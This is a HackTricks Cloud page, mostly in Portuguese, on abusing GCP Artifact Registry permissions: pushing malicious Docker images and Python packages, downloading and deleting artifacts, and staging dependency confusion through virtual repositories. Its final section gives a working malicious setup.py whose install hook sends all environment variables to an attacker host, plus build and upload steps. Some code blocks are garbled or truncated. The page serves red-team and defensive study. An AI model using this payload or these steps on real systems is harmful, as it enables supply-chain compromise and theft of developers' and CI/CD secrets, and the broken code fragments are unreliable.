GCP - Artifact Registry Privesc
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Artifact Registry
Para mais informações sobre Artifact Registry, veja:
artifactregistry.repositories.uploadArtifacts
Com essa permissão um attacker poderia fazer upload de novas versões dos artefatos contendo código malicioso, como Docker images:
Fazer upload de Docker image para Artifact Registry
```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockertag the image to upload it
docker tag
Upload it
docker push
</details>
> [!CAUTION]
> Foi verificado que é **possível enviar uma nova imagem docker maliciosa** com o mesmo nome e tag da que já está presente, então a **antiga perderá a tag** e, da próxima vez que a imagem com essa tag for **baixada a maliciosa será baixada**.
<details>
<summary>Fazer upload de uma biblioteca Python</summary>
**Comece criando a biblioteca a ser enviada** (se você conseguir baixar a versão mais recente do registry pode evitar este passo):
1. **Configure a estrutura do projeto**:
- Crie um novo diretório para sua biblioteca, por exemplo, `hello_world_library`.
- Dentro desse diretório, crie outro diretório com o nome do seu pacote, por exemplo, `hello_world`.
- Dentro do diretório do pacote, crie um arquivo `__init__.py`. Este arquivo pode ficar vazio ou conter inicializações para seu pacote.
<details>
<summary>Criar estrutura do projeto</summary>
```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
- Escreva o código da sua biblioteca:
- Dentro do diretório
hello_world, crie um novo arquivo Python para seu módulo, por exemplo,greet.py. - Escreva sua função “Hello, World!”:
Criar módulo da biblioteca
# hello_world/greet.py
def say_hello():
return "Hello, World!"
- Crie um arquivo
setup.py:
- Na raiz do diretório
hello_world_library, crie um arquivosetup.py. - Este arquivo contém metadados sobre sua biblioteca e informa ao Python como instalá-la.
Criar arquivo setup.py
# setup.py
from setuptools import setup, find_packages
setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)
Agora, vamos enviar a biblioteca:
- Construa seu pacote:
- A partir da raiz do diretório
hello_world_library, execute:
Build Python package
python3 setup.py sdist bdist_wheel
- Configure a autenticação para o twine (usado para enviar seu pacote):
- Certifique-se de ter o
twineinstalado (pip install twine). - Use o
gcloudpara configurar credenciais:
Upload package with twine
```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://- Limpar a compilação
Limpar artefatos da compilação
```bash rm -rf dist build hello_world.egg-info ```Caution
Não é possível fazer upload de uma biblioteca python com a mesma versão que já está presente, mas é possível enviar versões maiores (ou adicionar um extra
.0no final da versão se isso funcionar — não em python, porém), ou apagar a última versão e fazer o upload de uma nova (necessárioartifactregistry.versions.delete):Excluir versão do artifact
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
artifactregistry.repositories.downloadArtifacts
Com esta permissão você pode baixar artefatos e procurar por informações sensíveis e vulnerabilidades.
Baixar uma imagem Docker:
Baixar imagem Docker do Artifact Registry
```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockerDowload image
docker pull
</details>
Baixar uma biblioteca **python**:
<details>
<summary>Baixar biblioteca Python do Artifact Registry</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
- O que acontece se um registro remoto e um registro padrão forem misturados em um registro virtual e um pacote existir em ambos? Consulte esta página:
GCP - Artifact Registry Persistence
artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)
Excluir artefatos do Artifact Registry, como imagens Docker:
Excluir imagem Docker do Artifact Registry
```bash # Delete a docker image gcloud artifacts docker images deleteartifactregistry.repositories.delete
Excluir um repositório completo (mesmo que contenha conteúdo):
Excluir repositório do Artifact Registry
``` gcloud artifacts repositories deleteartifactregistry.repositories.setIamPolicy
Um atacante com essa permissão poderia conceder a si mesmo permissões para executar alguns dos ataques em repositório mencionados anteriormente.
Pivoting to other Services through Artifact Registry Read & Write
- Cloud Functions
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the cache image) and nothing changed, the cloud function continue working. Therefore, maybe it might be possible to abuse a Race Condition attack like with the bucket to change the docker container that will be run but just modifying the stored image isn’t possible to compromise the Cloud Function.
- App Engine
Even though App Engine creates docker images inside Artifact Registry. It was tested that even if you modify the image inside this service and removes the App Engine instance (so a new one is deployed) the code executed doesn’t change.
It might be possible that performing a Race Condition attack like with the buckets it might be possible to overwrite the executed code, but this wasn’t tested.
artifactregistry.repositories.update
Um atacante não precisa de permissões específicas do Artifact Registry para explorar este problema—apenas de uma configuração de virtual-repository vulnerável. Isso ocorre quando um repositório virtual combina um repositório público remoto (por exemplo, PyPI, npm) com um interno, e a fonte remota tem prioridade igual ou maior. Se ambos contiverem um pacote com o mesmo nome, o sistema seleciona a versão mais alta. O atacante só precisa conhecer o nome do pacote interno e ser capaz de publicar pacotes no registro público correspondente.
Com a permissão artifactregistry.repositories.update, um atacante poderia alterar as configurações upstream de um repositório virtual para criar intencionalmente essa configuração vulnerável e usar Dependency Confusion como método de persistência, inserindo pacotes maliciosos que desenvolvedores ou sistemas CI/CD possam instalar automaticamente.
O atacante cria uma versão maliciosa do pacote interno no repositório público com um número de versão mais alto. Para pacotes Python, isso significa preparar uma estrutura de pacote que imite a legítima.
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
Um arquivo setup.py é então criado contendo código malicioso que seria executado durante a instalação. Esse arquivo deve especificar um número de versão maior do que o presente no repositório privado.
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse
def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)
class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()
setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
Construa o package e remova o wheel para garantir que o código seja executado durante a instalação.
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
Faça upload do pacote malicioso para o repositório público (por exemplo, test.pypi.org para Python).
pip install twine
twine upload --repository testpypi dist/*
Quando um sistema ou serviço instala o pacote usando o repositório virtual, ele irá baixar a versão maliciosa do repositório público em vez da legítima interna, porque a versão maliciosa é superior e o repositório remoto tem prioridade igual ou maior.
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud

